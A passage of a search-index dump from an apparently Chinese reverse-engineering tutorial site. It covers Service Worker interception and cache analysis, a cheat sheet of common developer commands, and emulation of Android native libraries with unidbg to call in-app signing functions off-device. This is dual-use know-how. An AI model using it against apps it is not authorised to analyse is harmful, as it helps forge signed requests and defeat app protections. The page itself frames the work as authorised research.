逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#示例-2-绕过-service-worker-缓存"},{"categories":null,"collections":null,"content":"示例 3: Service Worker 代理 // 注册一个自定义的 Service Worker 来拦截和修改请求 // proxy-sw.js self.addEventListener(\"fetch\", (event) =\u003e { const url = new URL(event.request.url); // 拦截 API 请求 if (url.pathname.startsWith(\"/api/\")) { event.respondWith( fetch(event.request).then((response) =\u003e { // 克隆响应以便读取 const clonedResponse = response.clone(); // 记录响应 clonedResponse.json().then((data) =\u003e { console.log(\"[Proxy SW] API Response:\", url.pathname, data); // 发送到主线程 self.clients.matchAll().then((clients) =\u003e { clients.forEach((client) =\u003e { client.postMessage({ type: \"API_RESPONSE\", url: url.href, data: data, }); }); }); }); return response; }) ); return; } // 默认行为 event.respondWith(fetch(event.request)); }); // 主页面中注册 navigator.serviceWorker.register(\"/proxy-sw.js\", { scope: \"/\" }); // 监听拦截的数据 navigator.serviceWorker.addEventListener(\"message\", (event) =\u003e { if (event.data.type === \"API_RESPONSE\") { console.log(\"Intercepted API call:\", event.data.url); console.log(\"Data:\", event.data.data); } }); ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:5:3","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#示例-3-service-worker-代理"},{"categories":null,"collections":null,"content":"最佳实践 ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:6:0","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#最佳实践"},{"categories":null,"collections":null,"content":"逆向分析流程 检测 Service Worker 存在 检查 navigator.serviceWorker API 查看开发者工具 Application 面板 枚举所有注册 提取 Service Worker 脚本 获取脚本 URL 下载并分析代码 识别缓存策略 分析缓存内容 枚举所有缓存 提取缓存的 API 响应 寻找敏感数据 监控网络拦截 识别被拦截的请求 分析请求/响应修改 绕过缓存机制 ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:6:1","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#逆向分析流程"},{"categories":null,"collections":null,"content":"安全考虑 作为开发者: 不要缓存敏感数据 避免缓存包含 Token 的 API 响应 不要缓存用户个人信息 实施缓存版本控制 更新时清理旧缓存 使用版本号命名缓存 验证 Service Worker 来源 使用 HTTPS 实施 CSP 限制 作为研究者: 合法授权 仅在授权范围内分析 遵守负责任披露原则 隐私保护 不要泄露用户数据 测试时使用测试账号 ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:6:2","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#安全考虑"},{"categories":null,"collections":null,"content":"常见问题 ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:7:0","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#常见问题"},{"categories":null,"collections":null,"content":"Q: Service Worker 能访问 Cookie 吗？ A: Service Worker 无法直接访问 document.cookie，但： Fetch 请求会自动携带 Cookie 可以通过拦截请求读取 Cookie 头 可以设置响应的 Set-Cookie 头（受同源策略限制） ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:7:1","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#q-service-worker-能访问-cookie-吗"},{"categories":null,"collections":null,"content":"Q: 如何调试 Service Worker？ A: Chrome DevTools: Application → Service Workers 可以启动/停止、更新、注销 可以在 Sources 中设置断点 Firefox DevTools: about:debugging → This Firefox → Service Workers 可以启动和注销 编程方式: chrome://inspect/#service-workers // Chrome about:debugging#/runtime/this-firefox // Firefox ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:7:2","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#q-如何调试-service-worker"},{"categories":null,"collections":null,"content":"Q: Service Worker 能被禁用吗？ A: 用户可以在浏览器设置中禁用 开发者可以通过 unregister() 注销 某些浏览器扩展可以阻止 Service Worker ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:7:3","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#q-service-worker-能被禁用吗"},{"categories":null,"collections":null,"content":"Q: Service Worker 的作用域是什么？ A: Service Worker 的作用域（scope）决定了它能控制哪些页面： // 只能控制 /app/ 下的页面 navigator.serviceWorker.register(\"/sw.js\", { scope: \"/app/\" }); // 默认作用域是脚本所在目录 navigator.serviceWorker.register(\"/scripts/sw.js\"); // scope = '/scripts/' ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:7:4","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#q-service-worker-的作用域是什么"},{"categories":null,"collections":null,"content":"进阶阅读 ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:8:0","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#进阶阅读"},{"categories":null,"collections":null,"content":"官方文档 Service Worker API - MDN PWA 文档 - web.dev Cache API - MDN ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:8:1","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#官方文档"},{"categories":null,"collections":null,"content":"工具与库 Workbox - Google 的 Service Worker 库 sw-toolbox - Service Worker 工具箱 PWA Builder - PWA 生成器 ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:8:2","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#工具与库"},{"categories":null,"collections":null,"content":"安全研究 Service Worker Security PWA Security Best Practices ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:8:3","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#安全研究"},{"categories":null,"collections":null,"content":"相关章节 调试技巧 Cookie 与 Storage CSP 绕过技术 JavaScript 执行机制 ","date":"2025-04-05","objectID":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/:9:0","tags":["Web","代理池","WebAssembly","Hook","进阶","DEX"],"title":"PWA 与 Service Worker 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/pwa_service_worker/#相关章节"},{"categories":null,"collections":null,"content":"常用命令速查表 ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:0:0","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#常用命令速查表"},{"categories":null,"collections":null,"content":"Chrome DevTools Console 命令 ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:1:0","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#chrome-devtools-console-命令"},{"categories":null,"collections":null,"content":"选择元素 命令 说明 示例 $() 等同于 document.querySelector() $('#username') $$() 等同于 document.querySelectorAll() $$('.item') $x() XPath 选择器 $x('//div[@class=\"container\"]') $0 当前选中的元素 $0.innerHTML $1 上一个选中的元素 $1.classList ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:1:1","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#选择元素"},{"categories":null,"collections":null,"content":"实用函数 命令 说明 示例 copy() 复制到剪贴板 copy($0) clear() 清空 Console clear() keys() 获取对象所有键 keys(window) values() 获取对象所有值 values(localStorage) monitor() 监控函数调用 monitor(fetch) unmonitor() 取消监控 unmonitor(fetch) table() 表格显示数据 table([{name:'a',age:20}]) debug() 在函数第一行设断点 debug(myFunction) undebug() 移除断点 undebug(myFunction) ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:1:2","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#实用函数"},{"categories":null,"collections":null,"content":"网络相关 // 查看所有 Cookie document.cookie; // 清空所有 Cookie document.cookie.split(\";\").forEach((c) =\u003e { document.cookie = c .replace(/^ +/, \"\") .replace(/=.*/, \"=;expires=\" + new Date().toUTCString() + \";path=/\"); }); // 查看 LocalStorage Object.keys(localStorage); // 清空 LocalStorage localStorage.clear(); // 发送 GET 请求 fetch(\"https://api.example.com/data\") .then((r) =\u003e r.json()) .then(console.log); // 发送 POST 请求 fetch(\"https://api.example.com/login\", { method: \"POST\", headers: { \"Content-Type\": \"application/json\" }, body: JSON.stringify({ username: \"admin\", password: \"123456\" }), }) .then((r) =\u003e r.json()) .then(console.log); ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:1:3","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#网络相关"},{"categories":null,"collections":null,"content":"Python 常用库 ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:2:0","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#python-常用库"},{"categories":null,"collections":null,"content":"Requests import requests # GET 请求 response = requests.get('https://example.com') print(response.text) # POST 请求 response = requests.post('https://example.com/api', json={ 'username': 'admin', 'password': '123456' }) print(response.json()) # 设置 Headers headers = { 'User-Agent': 'Mozilla/5.0 ...', 'Authorization': 'Bearer token123' } response = requests.get('https://example.com', headers=headers) # 使用代理 proxies = { 'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080' } response = requests.get('https://example.com', proxies=proxies) # Session 保持 session = requests.Session() session.get('https://example.com/login') session.post('https://example.com/api', json={'key': 'value'}) ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:2:1","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#requests"},{"categories":null,"collections":null,"content":"BeautifulSoup from bs4 import BeautifulSoup # 解析 HTML soup = BeautifulSoup(html, 'html.parser') # 查找元素 soup.find('div', class_='content') # 查找第一个 soup.find_all('a') # 查找所有 soup.select('.class #id tag') # CSS 选择器 # 获取属性 element = soup.find('a') element.get('href') # 获取 href element.text # 获取文本 element.get_text(strip=True) # 获取文本（去空格） ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:2:2","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#beautifulsoup"},{"categories":null,"collections":null,"content":"Regex (re) import re # 查找 match = re.search(r'pattern', text) matches = re.findall(r'pattern', text) # 替换 result = re.sub(r'old', 'new', text) # 编译（提高性能） pattern = re.compile(r'pattern') matches = pattern.findall(text) ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:2:3","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#regex-re"},{"categories":null,"collections":null,"content":"cURL 命令 ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:3:0","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#curl-命令"},{"categories":null,"collections":null,"content":"基本用法 # GET 请求 curl https://example.com # POST 请求 curl -X POST https://example.com/api \\ -H \"Content-Type: application/json\" \\ -d '{\"username\":\"admin\",\"password\":\"123456\"}' # 设置 User-Agent curl -A \"Mozilla/5.0 ...\" https://example.com # 保存 Cookie curl -c cookies.txt https://example.com # 使用 Cookie curl -b cookies.txt https://example.com # 跟随重定向 curl -L https://example.com # 显示响应头 curl -i https://example.com # 只显示响应头 curl -I https://example.com # 使用代理 curl -x http://127.0.0.1:8080 https://example.com # 忽略 SSL 证书 curl -k https://example.com # 上传文件 curl -F \"file=@/path/to/file\" https://example.com/upload ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:3:1","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#基本用法"},{"categories":null,"collections":null,"content":"调试用法 # 显示详细信息 curl -v https://example.com # 显示时间统计 curl -w \"@curl-format.txt\" -o /dev/null -s https://example.com # curl-format.txt 内容: # time_namelookup: %{time_namelookup}\\n # time_connect: %{time_connect}\\n # time_appconnect: %{time_appconnect}\\n # time_redirect: %{time_redirect}\\n # time_pretransfer: %{time_pretransfer}\\n # time_starttransfer: %{time_starttransfer}\\n # ----------\\n # time_total: %{time_total}\\n ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:3:2","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#调试用法"},{"categories":null,"collections":null,"content":"Git 常用命令 ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:4:0","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#git-常用命令"},{"categories":null,"collections":null,"content":"基础操作 # 查看状态 git status # 添加文件 git add . git add file.txt # 提交 git commit -m \"message\" # 推送 git push origin master # 拉取 git pull origin master # 查看历史 git log git log --oneline --graph # 回退 git reset --hard HEAD^ # 回退一个版本 git reset --hard commit_id # 回退到指定版本 ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:4:1","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#基础操作"},{"categories":null,"collections":null,"content":"分支操作 # 创建分支 git branch feature-name # 切换分支 git checkout feature-name # 创建并切换 git checkout -b feature-name # 合并分支 git merge feature-name # 删除分支 git branch -d feature-name ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:4:2","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#分支操作"},{"categories":null,"collections":null,"content":"查看差异 # 查看修改 git diff # 查看已暂存的修改 git diff --staged # 查看两个提交的差异 git diff commit1 commit2 ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:4:3","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#查看差异"},{"categories":null,"collections":null,"content":"Node.js / npm ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:5:0","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#nodejs--npm"},{"categories":null,"collections":null,"content":"包管理 # 安装包 npm install package-name npm install -g package-name # 全局安装 npm install --save-dev package # 开发依赖 # 卸载包 npm uninstall package-name # 更新包 npm update package-name # 查看已安装的包 npm list npm list -g # 查看包信息 npm info package-name ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:5:1","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#包管理"},{"categories":null,"collections":null,"content":"常用脚本 # 运行脚本 npm run script-name # 常见的预定义脚本 npm start npm test npm run build ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:5:2","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#常用脚本"},{"categories":null,"collections":null,"content":"Bash 文本处理 ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:6:0","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#bash-文本处理"},{"categories":null,"collections":null,"content":"grep # 搜索文本 grep \"pattern\" file.txt # 忽略大小写 grep -i \"pattern\" file.txt # 递归搜索 grep -r \"pattern\" directory/ # 显示行号 grep -n \"pattern\" file.txt # 反向匹配（不包含） grep -v \"pattern\" file.txt # 正则表达式 grep -E \"regex pattern\" file.txt ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:6:1","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#grep"},{"categories":null,"collections":null,"content":"sed # 替换文本 sed 's/old/new/' file.txt # 替换每行第一个 sed 's/old/new/g' file.txt # 替换所有 sed -i 's/old/new/g' file.txt # 直接修改文件 # 删除行 sed '/pattern/d' file.txt # 删除匹配的行 sed '1d' file.txt # 删除第一行 sed '1,10d' file.txt # 删除1-10行 ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:6:2","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#sed"},{"categories":null,"collections":null,"content":"awk # 打印列 awk '{print $1}' file.txt # 打印第一列 awk '{print $1,$3}' file.txt # 打印第1和第3列 # 条件过滤 awk '$3 \u003e 100' file.txt # 第3列大于100的行 # 求和 awk '{sum+=$1} END {print sum}' file.txt ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:6:3","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#awk"},{"categories":null,"collections":null,"content":"Docker 常用命令 ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:7:0","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#docker-常用命令"},{"categories":null,"collections":null,"content":"镜像操作 # 拉取镜像 docker pull image-name # 查看镜像 docker images # 删除镜像 docker rmi image-name # 构建镜像 docker build -t image-name . ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:7:1","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#镜像操作"},{"categories":null,"collections":null,"content":"容器操作 # 运行容器 docker run -d --name container-name image-name docker run -it image-name /bin/bash # 交互式 # 查看容器 docker ps # 运行中的 docker ps -a # 所有的 # 停止容器 docker stop container-name # 启动容器 docker start container-name # 删除容器 docker rm container-name # 查看日志 docker logs container-name # 进入容器 docker exec -it container-name /bin/bash ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:7:2","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#容器操作"},{"categories":null,"collections":null,"content":"快速参考 ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:8:0","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#快速参考"},{"categories":null,"collections":null,"content":"编码/解码 # Base64 import base64 encoded = base64.b64encode(b'text') decoded = base64.b64decode(encoded) # URL编码 from urllib.parse import quote, unquote encoded = quote('text with spaces') decoded = unquote(encoded) # JSON import json json_str = json.dumps({'key': 'value'}) obj = json.loads(json_str) ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:8:1","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#编码解码"},{"categories":null,"collections":null,"content":"时间戳 import time import datetime # 当前时间戳（秒） timestamp = int(time.time()) # 当前时间戳（毫秒） timestamp_ms = int(time.time() * 1000) # 时间戳转日期 dt = datetime.datetime.fromtimestamp(timestamp) print(dt.strftime('%Y-%m-%d %H:%M:%S')) # 日期转时间戳 dt = datetime.datetime(2024, 1, 1, 12, 0, 0) timestamp = int(dt.timestamp()) // JavaScript const timestamp = Date.now(); // 毫秒 const timestampSec = Math.floor(Date.now() / 1000); // 秒 // 时间戳转日期 const date = new Date(timestamp); console.log(date.toLocaleString()); ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:8:2","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#时间戳"},{"categories":null,"collections":null,"content":"相关章节 加密算法特征 - 加密算法识别 正则表达式 - 常用正则模式 HTTP 头速查 - HTTP 请求头 ","date":"2025-04-05","objectID":"/reverse_engineering/web/08-cheat-sheets/common_commands/:9:0","tags":["Web","Docker","签名验证","SSL Pinning","代理池","速查表"],"title":"常用命令速查表","uri":"/reverse_engineering/web/08-cheat-sheets/common_commands/#相关章节"},{"categories":null,"collections":null,"content":"SO 运行时仿真技术 在高级 Android 逆向工程中，我们经常需要自动化地调用 SO 文件中的加密、签名或校验函数。然而，在真实的设备上通过 Frida Hook 来做这件事，不仅效率低下，而且容易受到反调试和环境检测的阻碍。 SO 运行时仿真（有时被称为\"符号执行\"的工程化应用）是一种革命性的技术，它通过在 PC 上创建一个模拟的 Android Native 运行环境，直接加载并执行 SO 文件，从而摆脱对真实设备的依赖。 ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:0:0","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#so-运行时仿真技术"},{"categories":null,"collections":null,"content":"核心架构 一个典型的 SO 仿真框架主要由以下几个部分构成： ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:1:0","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#核心架构"},{"categories":null,"collections":null,"content":"1. ELF 加载器 (ELF Loader) 这是仿真的基础。它负责像 Android 的 linker 一样工作： 功能 说明 解析 ELF 读取 SO 文件的头部、程序头、段表等信息 内存映射 根据程序头（PT_LOAD）将 SO 的代码段（.text）和数据段（.data, .bss）加载到模拟的内存空间中 处理重定位 解析重定位表（.rel.dyn, .rela.dyn），修正所有对内部地址和外部符号的引用 ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:1:1","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#1-elf-加载器-elf-loader"},{"categories":null,"collections":null,"content":"2. CPU 模拟器 (CPU Emulator) Unicorn Engine: 这是目前最主流的选择。Unicorn 是一个基于 QEMU 的轻量级、多平台的 CPU 模拟器库 指令级控制: Unicorn 允许我们精细地控制执行流程，包括设置寄存器、读写内存、以及通过 Hook 机制在执行到特定指令或地址时触发回调 ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:1:2","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#2-cpu-模拟器-cpu-emulator"},{"categories":null,"collections":null,"content":"3. 系统库与环境模拟 (Library \u0026 Environment Mocking) SO 文件不会独立存在，它总是会调用外部函数。仿真框架必须能够\"假装\"自己是 Android 系统： Mock 目标 说明 libc.so 提供 malloc, free, memcpy, strlen, printf 等标准 C 库函数 Android 框架库 提供 liblog.so、libz.so、libcrypto.so 等常用系统库函数 JNI 环境 模拟 JNIEnv 指针和相关函数表（NewStringUTF, GetFieldID 等） ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:1:3","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#3-系统库与环境模拟-library--environment-mocking"},{"categories":null,"collections":null,"content":"推荐项目：unidbg unidbg 是一个非常强大和成熟的、专门用于 Android SO 仿真和符号执行的 Java 开源项目。 ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:2:0","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#推荐项目unidbg"},{"categories":null,"collections":null,"content":"unidbg 的优点 特性 说明 高度自动化 内置了完善的 ELF 加载器和常用系统库的 Mock 实现 易于使用 提供了简洁的 API，用户只需几行代码就可以加载 SO、调用函数 JNI 模拟 拥有强大的 JNI 模拟能力，甚至可以调用和 Mock Java 对象的方法 调试与跟踪 支持与 GDB 连接进行远程调试，也可以通过 Hook 机制打印详细的执行日志 ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:2:1","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#unidbg-的优点"},{"categories":null,"collections":null,"content":"unidbg 使用范例 // 使用 unidbg 调用 SO 中的签名函数 public class SignatureCalculator { public static void main(String[] args) { // 1. 创建 Android ARM64 模拟器实例 Emulator\u003c?\u003e emulator = AndroidEmulatorBuilder.for64Bit().build(); Memory memory = emulator.getMemory(); // 2. 加载目标 SO 文件及其依赖 // unidbg 会自动处理重定位和依赖加载 Module module = emulator.loadLibrary(new File(\"libnative-lib.so\")); // 3. 准备输入数据 String input = \"this is my data to sign\"; // 将输入字符串写入模拟器内存 Pointer inputPtr = memory.allocateString(input); // 4. 调用目标函数 // callFunction() 会自动处理寄存器和栈设置 Number result = module.callFunction(emulator, 0x1234, inputPtr, input.length()); // 5. 从模拟器内存中读取结果 Pointer resultPtr = Pointer.pointer(emulator, result.intValue()); String signature = resultPtr.getString(0); System.out.println(\"Input: \" + input); System.out.println(\"Signature: \" + signature); // 6. 关闭模拟器 emulator.close(); } } ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:2:2","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#unidbg-使用范例"},{"categories":null,"collections":null,"content":"Qiling 框架 Qiling 是一个高级的二进制仿真框架，基于 Unicorn 构建，支持多种操作系统和架构。相比纯 Unicorn，Qiling 提供了更完善的系统调用和库函数模拟。 ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:3:0","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#qiling-框架"},{"categories":null,"collections":null,"content":"Qiling 简介 ┌─────────────────────────────────────────────────────────────┐ │ Qiling 架构 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ 用户脚本层 │ │ │ │ Python API / Hook / 自定义处理 │ │ │ └─────────────────────────────────────────────────────┘ │ │ ↓ │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ Qiling Core │ │ │ │ ┌───────────┐ ┌───────────┐ ┌───────────┐ │ │ │ │ │ OS 模拟 │ │ 文件系统 │ │ 系统调用 │ │ │ │ │ │Linux/Win/ │ │ 虚拟 FS │ │ 处理器 │ │ │ │ │ │Android/..│ │ │ │ │ │ │ │ │ 